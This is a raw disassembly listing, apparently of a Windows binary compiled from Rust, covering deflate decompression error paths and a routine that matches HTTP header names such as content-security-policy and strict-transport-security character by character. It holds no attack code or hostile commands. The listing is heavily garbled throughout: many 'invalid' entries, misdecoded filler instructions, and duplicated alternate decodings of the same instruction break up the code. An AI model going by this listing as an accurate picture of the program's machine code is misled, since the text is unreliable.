sbb al, byte [rax]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
push 0x13
pop rdx
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
sbb eax, dword [rax]
mov edx, 0x140
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, rax
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, r12
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, rdi
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov edx, 0x140
call fcn.1401c6eb0
jmp 0x140035087
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rdx, rax
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, rsi
mov rdx, r10
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
push 0x1d
pop rdx
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, r9
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, r9
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, r10
call fcn.1401c6eb0
jmp 0x140035087
invalid
add byte [rbp + rcx*4 + 5], cl
push rsi
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, r10
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, r14
call fcn.1401c6eb0
adc bl, byte [rdi]
sbb dword [rax], eax
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, r14
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
pop rdx
sbb eax, dword ss:[rax]
mov rcx, rdi
mov rdx, qword [rbx + 0x58]
call fcn.1401c6eb0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, rdi
mov rdx, qword [rbx + 0x58]
mov edx, dword [rbx + 0x58]
mov edx, dword [rbx + 0x58]
call fcn.1401c6eb0
jmp 0x140035087
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
push 0x28
pop rdx
call fcn.1401c6f30
jmp 0x140035087
invalid
lea rcx, str.assertion_failed:_output_position___output.len__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
push 0x31
pop rdx
call fcn.1401c6f30
jmp 0x140035087
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
push 0x28
pop rdx
call fcn.1401c6f30
jmp 0x140035087
push 1
pop rcx
mov edx, 0x400
call fcn.1401c66e0
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, qword [rbx + 0x48]
mov rdx, qword [rbx + 0x58]
call fcn.1401c6f20
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
call fcn.1401c7190
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
call fcn.1401c7190
jmp 0x140035087
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_fdeflate_0.3.4_srcdecompress.rs
mov rcx, qword [rbx + 0x48]
mov rdx, qword [rbx + 0x58]
call fcn.1401c6f20
ud2
lea rcx, str.invalid_gzip_headercorrupt_gzip_stream_does_not_have_a_matching_checksumdeflate_decompression_error
mov edx, 0x13
jmp fcn.140035463
lea rcx, [0x1401e8a3b]
mov edx, 0x35
jmp fcn.140035463
mov rdx, rbx
call fcn.1401c66e0
invalid
mov eax, 2
xor ecx, ecx
xor edx, edx
mov r8, rax
lea r9, [rdx + 1]
add dword [rcx + 0x39], ecx
stc
cmp r9, rdi
jae 0x140038ecd
mov dword [r8], 0xffff
add r8, 4
inc rdx
invalid
jmp 0x140038eb4
test rdi, rdi
je 0x140038edc
mov dword [r8], 0xffff
mov rdx, r9
invalid
retf 0x8948
mov qword [rsi], rcx
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
mov qword [rsi + 0x10], rdx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
invalid
mov rax, qword [rbp - 8]
sub rax, 1
jb 0x140038f26
mov qword [rbp - 8], rax
lea rsi, [rcx + 0x68]
mov qword [rbp - 0x10], rsi
push 0xfffffffff0758948
call fcn.140038f5c
mov rcx, rsi
jmp 0x140038f06
add rsp, 0x38
pop rsi
pop rbp
ret
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rsi, qword [rbp - 0x10]
sub qword [rbp - 8], 1
jb 0x140038f55
mov rcx, rsi
mov ecx, esi
call fcn.140038f5c
add rsi, 0x68
or eax, 0x48000000
add esi, 0x68
jmp 0x140038f40
add rsp, 0x28
pop rsi
pop rbp
ret
in al, dx
xor byte [rax - 0x73], cl
lea ebp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rcx
invalid
cmp qword [rcx + 0x40], 0
je 0x140038f86
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x40]
call fcn.140038fba
xor al, 0
add byte [rax], al
xor al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp - 0x10]
add rcx, 0x18
add rsp, 0x30
invalid
pop rbp
jmp fcn.140038fba
sub esp, 0x20
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
add rcx, 0x18
call fcn.140038fba
nop
add rsp, 0x20
pop rbp
ret
lea ebp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rdx
add rcx, 0x20
invalid
mov rax, qword [rbp - 0x10]
sub rax, 1
invalid
add dword [rdx + 0x16], esi
invalid
mov qword [rbp - 0x10], rax
lea rsi, [rcx + 0x48]
mov qword [rbp - 0x18], rsi
call fcn.140038fba
mov rcx, rsi
jmp 0x140038fec
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rsi, qword [rbp - 0x10]
mov rdi, qword [rbp - 0x18]
jge 0x140039014
jge 0x140039014
sub rsi, 1
jb 0x140039040
mov rcx, rdi
call fcn.140038fba
add rdi, 0x48
jmp 0x14003902c
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov eax, edx
add byte [rax + 8], bh
mov qword [rcx + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x28], xmm0
mov qword [rcx + 0x38], rax
and qword [rcx + 0x40], 0
mov qword [rcx + 0x48], 2
and qword [rcx + 0x50], 0
push rax
add byte [rsi - 0x7d], ah
invalid
pop rax
add bl, al
sub rsp, 0x30
mov rsi, rdx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, str.MaxSizeReachedmax_size_reachedInvalidHeaderNameinvalid_HTTP_header_nameInvalidHeaderValuefailed_to_parse_header_valueC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_1.1.0_srcmethod.rsInvalidMethodinvalid_HTTP_method
lea edx, str.MaxSizeReachedmax_size_reachedInvalidHeaderNameinvalid_HTTP_header_nameInvalidHeaderValuefailed_to_parse_header_valueC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_1.1.0_srcmethod.rsInvalidMethodinvalid_HTTP_method
lea edx, str.MaxSizeReachedmax_size_reachedInvalidHeaderNameinvalid_HTTP_header_nameInvalidHeaderValuefailed_to_parse_header_valueC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_1.1.0_srcmethod.rsInvalidMethodinvalid_HTTP_method
mov r8d, 0xe
mov eax, 0xe
call qword [rax + 0x18]
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov qword [rcx], rsi
mov byte [rcx + 8], al
mov byte [rcx + 9], 0
call fcn.14002b010
invalid
nop
add rsp, 0x30
xor byte [rsi - 0x3d], bl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1401e94d6]
lea edx, [0x1401e94d6]
mov r8d, 0x10
jmp rax
add byte [rax], al
add byte [rax - 1], cl
loopne 0x140039145
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
invalid
mov bpl, 3
test r8, r8
invalid
je 0x14003baef
mov rdi, r8
cmp r8, 0x40
ja 0x14003912f
mov rbx, r9
mov ebx, ecx
mov rax, qword [rsp + 0x70]
and al, 0x70
xor ecx, ecx
cmp rdi, rcx
je 0x14003914a
movzx r8d, byte [rdx + rcx]
mov r8b, byte [rax + r8]
mov dh, 4
or al, byte [rsi - 0x76]
add al, 0
mov byte [rbx + rcx], r8b
inc rcx
jmp 0x140039118
cmp rdi, 0x10000
jae 0x14003baef
mov bl, 0x29
add byte [rax], al
xor dword [rbx + 0x48000029], 0xffffff89
mov bl, 0x29
add byte [rax], al
mov qword [rsi], rdx
mov qword [rsi + 8], rdi
xor ebp, ebp
invalid
jmp 0x14003baef
lea rax, [rdi - 2]
cmp rax, 0x21
cmp eax, 0x21
cmp eax, 0x21
ja 0x14003b902
xchg dword [rdx + 0x48000027], ebp
lea ecx, [0x14028b794]
lea rcx, [0x14028b794]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rbx], 0x74
jne case.0x140039bfe.118
add byte [rax], al
add byte [rax], al
mov al, 0x43
mov cl, 0x65
mov edx, 1
invalid
jmp 0x14003b8f3
cmp byte [rbx], 0x73
jne 0x14003bad2
cmp byte [rbx + 1], 0x65
add dword [rbp + 0xf], esp
test dword [rax + 0x29], eax
add byte [rax], al
invalid
jne 0x14003bad2
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
sub dword [rax], eax
add byte [rax], al
cmp byte [rbx + 3], 0x2d
jne 0x14003bad2
sub dword [rax], eax
invalid
sub dword [rax], eax
add byte [rax + 0xf77047b], al
jne 0x14003bad2
cmp byte [rbx + 5], 0x65
jne 0x14003bad2
cmp byte [rbx + 6], 0x62
jne 0x14003bad2
cmp byte [rbx + 7], 0x73
invalid
test dword [rcx + rbp], eax
add al, 0x29
cmp byte [rbx + 4], 0x77
jne 0x14003bad2
cmp byte [rbx + 5], 0x65
jne 0x14003bad2
cmp byte [rbx + 6], 0x62
jne 0x14003bad2
invalid
cmp byte [rbx + 7], 0x73
jne 0x14003bad2
add al, 0x29
add byte [rax], al
add al, 0x29
add byte [rax], al
cmp byte [rbx + 8], 0x6f
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 9], 0x63
jne 0x14003bad2
or dword [rbx + 0xf], esp
test eax, esi
sub byte [rax], al
add byte [rax + 0xf6b0a7b], al
test esi, esp
sub byte [rax], al
add byte [rax], al
cmp byte [rbx + 0xb], 0x65
invalid
test esp, ebx
sub byte [rax], al
cmp byte [rbx + 0xa], 0x6b
jne 0x14003bad2
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0xb], 0x65
jne 0x14003bad2
invalid
add byte [rax + 0xf740c7b], al
test edx, edx
sub byte [rax], al
add byte [rax + 0xf2d0d7b], al
test eax, ecx
sub byte [rax], al
add byte [rax + 0xf610e7b], al
test dword [rsi - 0x7fffffd8], edi
jnp 0x140039226
cmp byte [rbx + 0xc], 0x74
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x61
jne 0x14003bad2
sub byte [rax], al
add byte [rax + 0xf630f7b], al
test dword [rax + rbp + 0x7b800000], esi
mov ah, 0x28
add byte [rax], al
cmp byte [rbx + 0x10], 0x63
jne 0x14003bad2
invalid
cmp byte [rbx + 0xf], 0x63
jne 0x14003bad2
mov ah, 0x28
add byte [rax], al
invalid
mov ah, 0x28
add byte [rax], al
cmp byte [rbx + 0x10], 0x63
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0x11], 0x65
jne 0x14003bad2
jnp 0x14003923c
jne 0x14003bad2
cmp byte [rbx + 0x12], 0x70
jne 0x14003bad2
sub byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, 0x3b
mov cl, 0x74
mov edx, 0x13
jmp 0x14003b8f3
cmp byte [rbx], 0x63
jne 0x14003bad2
cmp byte [rbx + 1], 0x6f
jne 0x14003bad2
jne case.0x14002e5c3.57
add byte [rax], al
cmp byte [rbx + 2], 0x6e
jne 0x14003bad2
imul ebp, dword [rax], 0
add byte [rax + 0xf74037b], al
test dword [rcx + 0x28], esp
invalid
sub byte [rax], al
invalid
cmp byte [rbx + 3], 0x74
jne 0x14003bad2
invalid
sub byte [rax], al
invalid
cmp byte [rbx + 4], 0x65
add al, 0x65
jne 0x14003bad2
cmp byte [rbx + 5], 0x6e
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 6], 0x74
jne 0x14003bad2
cmp byte [rbx + 7], 0x2d
jne 0x14003bad2
cmp byte [rbx + 8], 0x73
jne 0x14003bad2
cmp byte [rbx + 9], 0x65
jne 0x14003bad2
invalid
sub byte [rax], al
invalid
cmp byte [rbx + 0xa], 0x63
jne 0x14003bad2
sbb ebp, dword [rax]
add byte [rax], al
sbb ebp, dword [rax]
add byte [rax], al
cmp byte [rbx + 0xb], 0x75
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x72
or al, 0x72
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x69
jne 0x14003bad2
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0xe], 0x74
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0xf], 0x79
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x2d
jne 0x14003bad2
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0x11], 0x70
jne 0x14003bad2
cmp byte [rbx + 0x12], 0x6f
jne 0x14003bad2
retf
invalid
add byte [rax], al
retf
cmp byte [rbx + 0x13], 0x6c
jne 0x14003bad2
cmp byte [rbx + 0x14], 0x69
jne 0x14003bad2
cmp byte [rbx + 0x15], 0x63
jne 0x14003bad2
lodsd eax, dword [rsi]
invalid
add byte [rax], al
lodsd eax, dword [rsi]
invalid
add byte [rax], al
mov al, 0x1b
mov cl, 0x79
mov edx, 0x16
add cl, ch
invalid
invalid
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbx]
cmp eax, 0x78
je 0x14003b0f2
add byte [rax], al
cmp eax, 0x70
je 0x14003afde
cmp eax, 0x72
je 0x14003b067
invalid
invalid
add byte [rax], al
cmp eax, 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 1], 0x63
jne case.0x140039bfe.118
and eax, 0x7b800000
add ah, byte [rbx + 0xf]
invalid
jne case.0x140039bfe.118
invalid
jnp 0x140039374
cmp byte [rbx + 2], 0x63
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x65
jne case.0x140039bfe.118
jne case.0x140039bfe.118
xchg esp, eax
and eax, 0x7b800000
add al, 0x70
cmp byte [rbx + 4], 0x70
jne case.0x140039bfe.118
add byte [rax + 0xf74057b], al
cmp byte [rbx + 5], 0x74
jne case.0x140039bfe.118
test dword [rax - 0x7fffffdb], eax
cmp byte [rbx + 6], 0x2d
jne case.0x140039bfe.118
test dword [rsi + 0x25], esi
add byte [rax], al
jnp 0x140039395
sub eax, 0x2576850f
test dword [rsi + 0x25], esi
add byte [rax], al
add byte [rdi], cl
mov dh, 0x43
invalid
movzx eax, byte [rbx + 7]
cmp eax, 0x6c
je 0x14003ba4b
cmp eax, 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 9], 0x63
jne case.0x140039bfe.118
test dword [rbp + riz], ecx
invalid
add byte [rax], al
cmp byte [rbx + 0xa], 0x6f
jnp 0x1400393cd
outsd dx, dword [rsi]
jne case.0x140039bfe.118
cmp byte [rbx + 0xb], 0x64
jne case.0x140039bfe.118
jne case.0x140039bfe.118
cmp byte [rbx + 0xc], 0x69
jne case.0x140039bfe.118
cmp byte [rbx + 0xd], 0x6e
outsb dx, byte [rsi]
jne case.0x140039bfe.118
mov al, 2
mov cl, 0x67
jmp 0x14003b178
cmp byte [rbx], 0x61
jne 0x14003bad2
test eax, ebx
add byte es:[rax], al
test eax, ebx
add byte es:[rax], al
cmp byte [rbx + 1], 0x63
jne 0x14003bad2
test esi, ecx
add byte es:[rax], al
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
cmp byte [rbx + 3], 0x65
jne 0x14003bad2
cmp byte [rbx + 4], 0x73
jne 0x14003bad2
jnp 0x14003941f
jae 0x14003942c
test dword [rax - 0x7fffffda], esi
jnp 0x14003942a
add byte es:[rax], al
cmp byte [rbx + 5], 0x73
jne 0x14003bad2
invalid
jae 0x140039436
test dword [rsi - 0x7fffffda], esp
jnp 0x140039435
add byte [rax], al
cmp byte [rbx + 6], 0x2d
jne 0x14003bad2
sub eax, 0x269c850f
add byte [rax], al
add byte [rax + 0xf63077b], al
cmp byte [rbx + 7], 0x63
jne 0x14003bad2
invalid
xchg edx, eax
add byte es:[rax], al
test dword [rdx - 0x7fffffda], edx
cmp byte [rbx + 8], 0x6f
jnp case.0x140023121.180
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 9], 0x6e
jnp 0x140039456
outsb dx, byte [rsi]
jne 0x14003bad2
add byte es:[rax], al
cmp byte [rbx + 0xa], 0x74
jne 0x14003bad2
or dh, byte [rdi + rcx - 0x7b]
je 0x140039482
add byte [rax], al
cmp byte [rbx + 0xb], 0x72
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0xc], 0x6f
jne 0x14003bad2
add byte es:[rax], al
add byte es:[rax], al
add byte [rax + 0xf6c0d7b], al
test dword [rsi + 0x26], edx
add byte [rax], al
cmp byte [rbx + 0xd], 0x6c
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x2d
jne 0x14003bad2
test dword [rsi + riz], ecx
invalid
test dword [rsi + riz], ecx
add byte es:[rax], al
add byte es:[rax], al
add byte [rax + 0xf610f7b], al
test dword [rdx + 0x26], eax
add byte [rax], al
cmp byte [rbx + 0xf], 0x61
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x6c
jnp 0x1400394a3
insb byte [rdi], dx
jne 0x14003bad2
cmp byte [rbx + 0x11], 0x6c
jne 0x14003bad2
add byte es:[rax], al
add byte es:[rax], al
cmp byte [rbx + 0x12], 0x6f
add byte [rax + 0xf6f127b], al
test dword [rsi + riz], esp
and al, 0x26
outsd dx, dword [rsi]
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0x13], 0x77
jne 0x14003bad2
ja 0x1400394c2
test dword [rdx], ebx
add byte es:[rax], al
cmp byte [rbx + 0x14], 0x2d
jne 0x14003bad2
movzx eax, byte [rbx + 0x15]
cmp eax, 0x6d
je case.0x140039bfe.82
mov dh, 0x43
adc eax, 0xf6df883
test byte [rsi], al
and byte [rax], al
add byte [rbx - 0x7af09708], al
cli
and eax, 0x7b800000
invalid
cmp eax, 0x68
jne 0x14003bad2
cmp byte [rbx + 0x16], 0x65
jne 0x14003bad2
invalid
add byte [rax + 0xf61177b], al
test esi, esp
and eax, 0x7b800000
sbb byte [rdi + rcx - 0x7b], ah
fsub qword [0x1bb8394f8]
sbb dword [rbp + 0xf], esp
test edx, edx
and eax, 0x7b800000
add byte [rax], al
cmp byte [rbx + 0x1a], 0x72
invalid
cmp byte [rbx + 0x17], 0x61
jne 0x14003bad2
cmp byte [rbx + 0x18], 0x64
jne 0x14003bad2
cmp byte [rbx + 0x19], 0x65
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0x1a], 0x72
jne 0x14003bad2
jnp 0x14003951d
jb 0x140039514
test eax, ecx
and eax, 0x6b00000
mov al, 6
jmp 0x14003b509
movzx eax, byte [rbx]
add eax, dword [rbx - 0x7bf08a08]
or al, 0x12
add byte [rax], al
cmp eax, 0x75
je 0x14003a729
cmp eax, 0x73
jne 0x14003bad2
cmp byte [rbx + 1], 0x74
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 2], 0x72
jne 0x14003bad2
cmp byte [rbx + 3], 0x69
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 4], 0x63
jnp 0x14003954b
invalid
jne 0x14003bad2
and eax, 0x7b800000
cmp byte [rbx + 5], 0x74
jne 0x14003bad2
invalid
add byte [rax], al
add eax, 0x7a850f74
and eax, 0x7b800000
invalid
cmp byte [rbx + 6], 0x2d
jne 0x14003bad2
jo case.0x140039bfe.46
add byte [rax], al
cmp byte [rbx + 7], 0x74
jne 0x14003bad2
cmp byte [rbx + 8], 0x72
jne 0x14003bad2
invalid
add byte [rax + 0xf61097b], al
test dword [rdx + 0x25], edx
cmp byte [rbx + 9], 0x61
jne 0x14003bad2
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0xa], 0x6e
jne 0x14003bad2
test dword [rax + 0x25], ecx
add byte [rax], al
test dword [rax + 0x25], ecx
add byte [rax], al
cmp byte [rbx + 0xb], 0x73
jne 0x14003bad2
cmp byte [rbx + 0xc], 0x70
jne 0x14003bad2
invalid
jnp 0x1400395a3
jo 0x1400395a8
test dword [0x7b800000], esi
or eax, 0x2a850f6f
cmp byte [rbx + 0xd], 0x6f
jne 0x14003bad2
invalid
add byte [rax], al
test dword [rdx], ebp
and eax, 0x7b800000
invalid
cmp byte [rbx + 0xe], 0x72
jne 0x14003bad2
cmp byte [rbx + 0xf], 0x74
jne 0x14003bad2
invalid
je case.0x14001f409.158
test dword [rsi], edx
and eax, 0x7b800000
add byte [rax + 0xf2d107b], al
invalid
or al, 0x25
cmp byte [rbx + 0x10], 0x2d
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0x11], 0x73
jne 0x14003bad2
cmp byte [rbx + 0x12], 0x65
jne 0x14003bad2
jne 0x14003bad2
cmp byte [rbx + 0x13], 0x63
jne 0x14003bad2
invalid
add byte [rax + 0xf75147b], al
cmp byte [rbx + 0x14], 0x75
jne 0x14003bad2
jnp 0x1400395fb
jne 0x1400395f8
test esp, esp
and al, 0
add byte [rax + 0xf72157b], al
jnp 0x140039606
jb 0x140039602
in al, 0x24
add byte [rax], al
cmp byte [rbx + 0x15], 0x72
jne 0x14003bad2
test edx, ebx
and al, 0
invalid
test edx, ebx
and al, 0
add byte [rax + 0xf69167b], al
test eax, edx
and al, 0
cmp byte [rbx + 0x16], 0x69
jne 0x14003bad2
invalid
imul ecx, dword [rdi], 0x24d085
add byte [rax + 0xf74177b], al
cmp byte [rbx + 0x17], 0x74
jnp 0x14003961c
je 0x140039616
jne 0x14003bad2
test esi, eax
and al, 0
add byte [rax - 0x16864ebe], dh
mov al, 0x42
mov cl, 0x79
jmp 0x14003a813
invalid
adc dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
movzx eax, byte [rbx]
mov dh, 3
cmp eax, 0x6d
je 0x14003a81d
test ah, bh
adc dword [rax], eax
add byte [rbx - 0x7af09c08], al
cmp eax, 0x63
invalid
test edx, esp
invalid
cmp eax, 0x63
invalid
jne case.0x140039bfe.118
add byte [rax], al
movzx eax, byte [rbx + 1]
cmp eax, 0x61
je case.0x14002f357.72
invalid
and dword [rax], eax
add byte [rax], al
mov ecx, 0x83000021
clc
outsd dx, dword [rsi]
cmp eax, 0x6f
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x6e
outsb dx, byte [rsi]
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x74
jne case.0x140039bfe.118
and al, byte [rax]
invalid
cmp byte [rbx + 4], 0x65
add al, 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x6e
jne case.0x140039bfe.118
cmp byte [rbx + 6], 0x74
jne case.0x140039bfe.118
invalid
cmp byte [rbx + 7], 0x2d
jne case.0x140039bfe.118
jnp 0x14003967c
sub eax, 0x2290850f
add byte [rax], al
cmp byte [rbx + 8], 0x74
jne case.0x140039bfe.118
invalid
xchg byte [rdx], ah
add byte [rax], al
cmp byte [rbx + 9], 0x79
jne case.0x140039bfe.118
cmp byte [rbx + 0xa], 0x70
jne case.0x140039bfe.118
and al, byte [rax]
invalid
jo 0x1400396a4
test dword [rdx + 0x22], esi
add byte [rax], al
mov al, 0x1d
mov cl, 0x65
jmp 0x14003b84e
stosd dword [rdi], eax
and dword [rax], eax
invalid
cmp byte [rbx], 0x61
jne 0x14003bad2
test dword [rsi], esp
and al, 0
invalid
cmp esp, dword [rcx + 0xf]
invalid
test dword [rsi], esp
and al, 0
add byte [rax + 0xf63017b], al
test dword [rsp], ebx
add byte [rax], al
cmp byte [rbx + 1], 0x63
jne 0x14003bad2
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
invalid
cmp byte [rbx + 3], 0x65
jne 0x14003bad2
cmp byte [rbx + 4], 0x73
jne 0x14003bad2
cmp byte [rbx + 5], 0x73
jne 0x14003bad2
add byte [rax + 0xf2d067b], al
test edx, ebp
and eax, dword [rax]
cmp byte [rbx + 6], 0x2d
jne 0x14003bad2
invalid
add byte [rax + 0xf63077b], al
test eax, esp
and eax, dword [rax]
add byte [rax + 0xf6f087b], al
jnp 0x1400396fd
outsd dx, dword [rsi]
invalid
cmp byte [rbx + 7], 0x63
jne 0x14003bad2
cmp byte [rbx + 8], 0x6f
jne 0x14003bad2
test esi, edx
and eax, dword [rax]
add byte [rax + 0xf6e097b], al
invalid
test esp, ecx
cmp byte [rbx + 9], 0x6e
jne 0x14003bad2
and eax, dword [rax]
add byte [rax + 0xf740a7b], al
jnp case.0x1400230cc.212
invalid
je 0x14003971a
cmp byte [rbx + 0xa], 0x74
jne 0x14003bad2
test edx, eax
and eax, dword [rax]
add byte [rax + 0xf720b7b], al
jb 0x140039724
cmp byte [rbx + 0xb], 0x72
jne 0x14003bad2
invalid
and eax, dword [rax]
invalid
test dword [rax - 0x7fffffdd], edi
mov eax, 0x80000023
cmp byte [rbx + 0xc], 0x6f
jnp 0x140039729
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 0xd], 0x6c
or eax, 0xa4850f6c
and eax, dword [rax]
add byte [rax + 0xf2d0e7b], al
test dword [rdx - 0x7fffffdd], ebx
invalid
and eax, dword [rax]
add byte [rax], al
invalid
invalid
jnp 0x14003974a
jne 0x14003bad2
test dword [rbx + riz + 0x7b800000], esp
invalid
cmp byte [rbx + 0xe], 0x2d
jne 0x14003bad2
invalid
and eax, dword [rax]
add byte [rax], al
invalid
cmp byte [rbx + 0xf], 0x61
jne 0x14003bad2
invalid
cmp byte [rbx + 0x10], 0x6c
jne 0x14003bad2
and eax, dword [rax]
add byte [rax + 0xf6c117b], al
insb byte [rdi], dx
invalid
test dword [rbx + riz], edi
and eax, dword [rax]
add byte [rax], al
cmp byte [rbx + 0x11], 0x6c
insb byte [rdi], dx
jne 0x14003bad2
add byte [rax + 0xf6f127b], al
test dword [rdx + 0x23], esi
jb 0x140039781
cmp byte [rbx + 0x12], 0x6f
